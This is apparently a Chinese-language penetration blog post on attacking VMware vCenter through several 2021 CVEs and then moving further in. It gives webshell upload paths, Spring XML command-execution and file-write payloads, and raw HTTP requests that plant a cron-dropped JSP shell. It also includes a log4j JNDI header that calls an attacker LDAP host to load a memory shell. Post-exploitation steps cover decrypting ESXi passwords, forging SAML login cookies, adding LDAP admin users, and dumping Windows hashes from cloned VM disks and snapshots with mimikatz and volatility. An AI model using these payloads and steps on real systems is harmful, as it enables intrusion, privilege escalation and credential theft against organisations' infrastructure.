vCenter2021几个漏洞及后渗透
2022-04-18 23:36:19

S2-045

参考官方公告,一些老的Vcenter可以用S2-045直接冲。

CVE-2021-21972

任意文件上传漏洞,会解压用户tar中的文件并写入到服务器,此洞拿到shell后默认需要提权

接口在**/ui/vropspluginui/rest/services/uploadova**

利用思路:

  • 写webshell
  • 写私钥

写私钥

往目录../../home/vsphere-ui/.ssh/authorized_keys写就行

写webshell

Linuxshell路径

../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp

对应shell地址是/ui/resources/log.jsp

Windows路径

../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp

对应shell地址是/statsreport/log.jsp

vcenter访问不存在的路由比如/xx/xx会返回401,访问/resources/xx这种会返回404,有时候我们写shell到statsreport访问返回401,可能是statsreport这个模块没起来,可以试试其他路径如

../../../../ProgramData/VMware/vCenterServer/runtime/VMwareSTSService/webapps/openidconnect/log.jsp

对应shell地址是openidconnect/log.jsp

或者写入/vsphrere-client/

对应Vcenter 6.7的路径是

../../../../../ProgramData/VMware/vCenterServer/runtime/vsphere-client/server/work/deployer/s/global/29/container-app-war.war/log.jsp

Vcenter 6.5对应的路径是:

../../../../../ProgramData/VMware/vCenterServer/runtime/vsphere-client/server/work/deployer/s/global/27/0/container-app-war-6.1.0.war/log.jsp

对应shell地址是/vsphere-client/log.jsp

CVE-2021-21985

此洞拿到shell后默认需要提权

不出网利用

https://github.com/r0ckysec/CVE-2021-21985

利用ClassPathXmlApplicationContext类加载xml文件触发spel注入,weblogic和jackson都有关于这个类的cve,利用方式都差不多。

执行系统命令

网上脚本里很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ whoami 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
</bean>
</beans>

写文件

写文件的xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.io.PrintWriter">
<constructor-arg>
<value>/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log2.jsp</value>
</constructor-arg>
</bean>
<bean id="is" class="java.lang.String">
<constructor-arg>
<value><![CDATA[<% out.println("ok"); %> ]]></value>
</constructor-arg>
<property name="whatever" value="#{ pb.println(is).close()}"/>
</bean>
</beans>

BCEL执行java字节码

bcel执行java代码的xml,这样注内存马更方便。

注意:vCemter 7u3j及以上默认java版本是jdk8u251,此版本bcel无法使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
</bean>
<bean id="is" class="java.lang.String">
<constructor-arg>
<value><![CDATA[$$BCEL$$...]]></value>
</constructor-arg>
<property name="whatever" value="#{ pb.loadClass(is).newInstance()}"/>
</bean>
</beans>

出网利用

还有种利用方法是jndi注入,没啥特别需要讲的,正常的jndi利用就行

CVE-2021-22005

影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows版本不受影响

利用

两种触发方式,一种是开启CIEP时(可发送特殊数据包开启)通过log4j记录日志的功能实现任意文件写入,另一种是通过Velocity模板注入执行代码。这个漏洞拿到的权限是root权限。

CIEP

可以写入任意文件,但是写入后的文件后缀固定是.json。_i参数控制可跳跃的路径,最终写入的文件路径如果存在就会把内容追加进文件,不存在就会创建文件,但当如果我们写入的文件名是因某些因素被删除过的文件名,则无法正常写文件。

1
2
3
4
5
6
7
8
9
10
11
12
POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../tmp/okok HTTP/1.1
Host: 172.16.64.143
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 2

ok

由于只能写入.json后缀的文件,所以略微有点鸡肋,但是对于linux的机器我们可以写入计划任务来执行写shell的操作

1
2
3
4
5
6
7
8
9
10
11
12
POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/appl3 HTTP/1.1
Host: 172.16.64.143
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 144

* * * * * root echo PCUgICAgICAgIG91dC5wcmludGxuKCJIZWxsb1dvcmxkIik7ICAgICAgJT4=|base64 -d>/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/hello.jsp

等60s后可在https://172.16.64.143/idm/..;/hello.jsp 可以访问到shell(这里的/..;/是因为Tomcat会将/..;/视作/../,可以利用该特性绕过vCenter某些版本的rhttpproxy的访问限制)。

Velocity

VelocityHelper.executeVelocityExpression触发velocity表达式执行。

可以用这个师傅的脚本

log4j

可以直接写入内存马,且vcenter默认是tomcat,可以尝试利用tomcatbypass模块绕过jndi高版本限制写入内存马

1
2
3
4
5
6
7
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 172.16.64.143
User-Agent: curl/7.64.1
Accept: */*
X-Forwarded-For: ${jndi:ldap://172.16.64.1:1389/TomcatBypass/TomcatMemshell1}


后渗透

提权

CVE-2021-3156

https://github.com/worawit/CVE-2021-3156

vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本,c写的要编译,更麻烦。

重点讲讲两个脚本

exploit_defaults_mailer.py

需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell

exploit_userspec.py

往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。

我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上

image-20220218111611577

改动PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’

APPEND_CONTENT=b’webshell内容’

即可在https://172.16.xx.xx/idm/..;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell

操作数据库

https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%974-PostgreSQL

https://github.com/shmilylty/vhost_password_decrypt

vcenter默认数据库文件在windwos和linux下都叫vcdb.properties,配置文件中有数据库的明文账号密码

linux默认路径:

  • /etc/vmware-vpx/vcdb.properties
  • /etc/vmware/service-state/vpxd/vcdb.properties

Windows默认路径:

  • C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
  • C:\ProgramData\VMware\VMware VirtualCenter\vcdb.properties

利用数据库账号密码登录数据库,默认是postgresql数据库,默认只能在vCenter服务器本地登录

1
psql -h localhost -d VCDB -U vc

查询虚拟主机信息:

1
2
3
4
5
6
7
VCDB=> SELECT id,datacenter_id,file_name,guest_os,ip_address,config FROM vc.vpx_vm;
id | datacenter_id | file_name | guest_os | ip_address | config
----+---------------+------------------------------------------------------------------------------------------+----------+------------+--------
43 | 2 | ds:///vmfs/volumes/620b69fc-146b7e5a-c350-000c298f19ff/win7-liangsan/win7-liangsan.vmx | | |
21 | 2 | ds:///vmfs/volumes/620b69fc-146b7e5a-c350-000c298f19ff/win7-zhanglili/win7-zhanglili.vmx | | |
42 | 2 | ds:///vmfs/volumes/620b69fc-146b7e5a-c350-000c298f19ff/fake-zhanglili/fake-zhanglili.vmx | | |
(3 rows)

查询vCenter中配置的ESXI账号密码

1
2
3
4
5
6
VCDB=> SELECT name,port,username,password,password_last_upd_dt,product_fullname FROM vc.vpxv_hosts;
name | port | username | password | password_last_upd_dt | product_fullname
---------------+------+----------+-------------------------------------------------------------------------------------------+-------------------------+----------------------------------
172.16.64.142 | 443 | vpxuser | *5U2y5stj9v52g0tq1KSfpS5eBnxe1WhsSXoxf1aH+UrVjhrdDzoT/Vs3nNZ1SzK/Xjwy629n4ZuSNU7dTwsfrA== | 2022-02-15 08:56:06.721 | VMware ESXi 6.7.0 build-15160138
(1 row)

这个账号密码可以用来登录目标ESXI服务器的ssh,解密需要用到文件symkey.dat

1
2
Windows:  C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux: /etc/vmware-vpx/ssl/symkey.dat

使用脚本decrypt.py解密拿到明文密码

1
python3 decrypt.py symkey.dat password.enc password.txt

image-20220218175323719

现在可以用解出来的密码登录ESXI服务器的SSH,但是ESXI服务器默认是没有开启SSH服务的,好在这个账号密码也能用于登录这个ESXI服务器的Web后台,所以我们可以登进ESXI后台开启SSH服务

image-20220218180119617

至此我们就可以通过SSH连接ESXI服务器(虚拟机的磁盘文件都是存放在ESXI服务器上的,当此类文件过大不便于下载回本地时,我们可以通过本地SSH连上ESXI服务器去操作虚拟机的磁盘或者快照文件)

image-20220218181101677

登录后台

对于vCenter这种集中管控系统,单纯的webshell价值不大,核心的东西在管控系统后台,我们需要找一些思路去登录vCenter后台。

SAML证书

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

在vCenter服务器上找到生成Cookie需要用到的数据库文件:

  • Linux:

/storage/db/vmware-vmdir/data.mdb

  • Windows:

C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

  • 除此以外真实环境中还有存放vCenter备份文件的地方,在lotus_backup.tar.gz文件中也保存有data.mdb

再使用脚本生成Cookie

直接使用生成的Cookie访问vCenter服务器https://172.16.64.143/ui

或者可以参考3gstudent的文章,区别就是3gsteudent改的脚本可以直接在目标vcenter上运行。

先上传vCenter_ExtraCertFromMdb.py 到目标vcenter服务器上

1
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

生成证书文件

然后把cat证书文件复制到本地,然后运行脚本vCenter_GenerateLoginCookie.py获取Cookie

重置密码

  • Linux:

/usr/lib/vmware-vmdir/bin/vdcadmintool

  • Windows:

C:\Program Files\VMware\vCenter Server\vmdird\vdcadmintool.exe

运行程序选择选项3可重制管理员账号密码

LDAP添加用户

参考3gstudent师傅文章

可以在目标vCenter服务器直接用脚本vCenterLDAP_Manage.py加管理员用户

先增加用户

1
python vCenterLDAP_Manage.py adduser

例如增加一个apple@vsphere.local的用户,username就是用户名随便填,dn这里需要把第一个CN改成前面填写的用户名,然后DC字段与获取到的dcAccountDN一致,userPrincipalName这里就是真正的登录名,也需要与原本的保持一致,大概照着提示填写即可。

然后把用户加进管理员组

1
python vCenterLDAP_Manage.py addadmin

这里直接输入前面加用户的那个dn就行

添加完成后就能用新加的管理员账号登入后台了

获得锁屏机器密码或hash

假如我们要获取一台锁屏机器win7-zhanglili机器的hash,有哪些思路呢?

首先是一些Windows底层的思路,也即是网上常见的忘记Windows开机密码那一套

KON-BOOT

https://kon-boot.com/

可以通过加载KON-BOOT镜像文件绕过密码登录进入操作系统后台,不过新点的版本要收费。

将KON-BOOT的iso镜像上传到vcenter中,克隆虚拟机获取目标机器win7-zhanglili的克隆机器fake-zhanglili,将fake-zhanglili的CD/DVD处镜像更换成KON-BOOT的iso

image-20220218165450361

启动虚拟机fake-zhanglili,进入bios(可以选择启动到固件这个功能),把KON-BOOT的镜像文件顺序放到第一位

image-20220218165643596

再次重启虚拟机进入KON-BOOT,后面一路回车

image-20220218165534426

等KON-BOOT加载好后重启虚拟机,这时直接空密码就能登录操作系统或者直接用shift后门(5下shift)弹出cmd操作

image-20220218170056733

PE工具

类似的,我们也可以利用PE工具绕过开机密码登录操作系统,就互联网上忘记Windows开机密码那一套都可以拿来撸

快照

指定目标机器win7-zhanglili生成快照

在数据存储中找到目标机器快照的.vmem文件或者.vmsn文件,下载到本地

使用采证工具volatility可以读明文密码或hash

1
2
3
4
\\读取明文密码
volatility_2.6_win64_standalone.exe -f win7-zhanglili-Snapshot1.vmem --profile=Win7SP1x64_23418 lsadump
\\读取hash
volatility_2.6_win64_standalone.exe -f win7-zhanglili-Snapshot1.vmem --profile=Win7SP1x64_23418 hashdump

具体profile值可参考

https://github.com/volatilityfoundation/volatility/wiki/2.6-Win-Profiles

快照文件过大的情景

如果快照文件很大或者网络带宽有问题,短时间内无法把快照文件下回本地,有无什么思路?

我们可以利用前面介绍的数据库相关手法控制ESXI服务器,直接在ESXI服务器上的ssh操作快照

挂载vmdk

克隆虚拟机win7-zhanglili生成虚拟机fake-zhanglili,克隆后的机器fake-zhanglili保持关机状态。(开机状态机器的vmdk是锁定的,我们无法直接获取到win7-zhanaglili机器的vmdk文件,所以需要通过克隆一个fake-zhanglili机器获取与win7-zhanglili相同的vmdk)

新建虚拟机或者找一台可控虚拟机挂载克隆后虚拟机的vmdk,这里我们利用镜像新建一个虚拟机win7-liangsan

右键编辑设置,给我们可控的虚拟机win7-liangsan挂载硬盘

选择克隆后机器fake-zhanglili的vmdk文件

然后我们打开虚拟机xin7-liangsan,可以发现已经挂载成功了

然后我们就找相关文件

1
2
3
4
5
6
从sam导本地hash可以尝试
SYSTEM :C:\Windows\System32\config\SYSTEM
SAM :C:\Windows\System32\config\SAM

如果目标是DC服务器,还可以导出ntds.dit文件读全域hash
NTDS.dit : C:\Windows\NTDS\NTDS.dit

这里我没搭建DC的环境,演示一下导出本地hash

这里咱们vcenter创建的虚拟机并不能很随便地和我们本机随意的复制粘贴,所以传输工具文件还有点小麻烦。解决思路大概分两种情况,一种是直接在我们新建的虚拟机win-liangsan上用工具取出hash,另一种思路是把文件拉回我们本地(这里vcenter上的机器装了vmtool也不能直接复制粘贴)

在虚拟机上导hash

直接内网找一个我们新建虚拟机能通的机器,在该机器上用python开个简单的web实现文件传输

把mimikatz传到我们新建虚拟机win-liangsan中,然后复制SAM和SYSTEM执行mimikatz即可导出本地hash

1
mimikatz lsadump::sam /sam:SAM /system:SYSTEM

PS:或者也可以制造一份存储有工具的vmdk上传到vcenter然后挂载到虚拟机里

拉到本地
方法一 激活复制/粘贴功能

参考官方文档在ESXI上添加设置,可以开启复制粘贴功能,可以直接复制虚拟机内的文件内容到本地,但是只能复制文件内容且有字符长度限制

1
2
3
isolation.tools.copy.disable=false
isolation.tools.paste.disable=false
isolation.tools.setGUIOptions.enable=true
方法二 在我们可控的虚拟机上开启共享文件夹

把我们需要拉到本地的文件放到一个文件夹中,然后设置该文件夹为共享文件夹,然后从任意能网络通的地方net use连接设置了共享文件夹的虚拟机

image-20220221112839229

Prev
2022-04-18 23:36:19
Next